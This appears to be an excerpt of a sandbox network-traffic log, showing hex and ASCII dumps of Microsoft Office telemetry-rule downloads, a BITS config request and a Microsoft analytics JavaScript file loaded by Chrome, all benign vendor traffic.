3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: e42c2868-f01e-003f-5826-3dd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143742Z-15b8b599d8885prmhC1TEBsnkw000000034000000000d3r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49776	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 14:37:44 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=240947 Date: Sat, 23 Nov 2024 14:37:44 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:44 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143744Z-174c587ffdfcj798hC1TEB9bq4000000037000000000ba72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143744Z-15b8b599d88tr2flhC1TEB5gk4000000033g00000000e7u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143744Z-174c587ffdfmrvb9hC1TEBtn380000000330000000008u0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49778	13.107.246.63	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143744Z-15b8b599d88wk8w4hC1TEB14b8000000031000000000egc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143744Z-178bfbc474bbbqrhhC1NYCvw7400000004n000000000k8me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49784	13.107.246.63	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:44 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 14:37:45 UTC	896	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:45 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241123T143745Z-174c587ffdf9xbcchC1TEBxkz400000002x000000000bwgu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 14:37:45 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
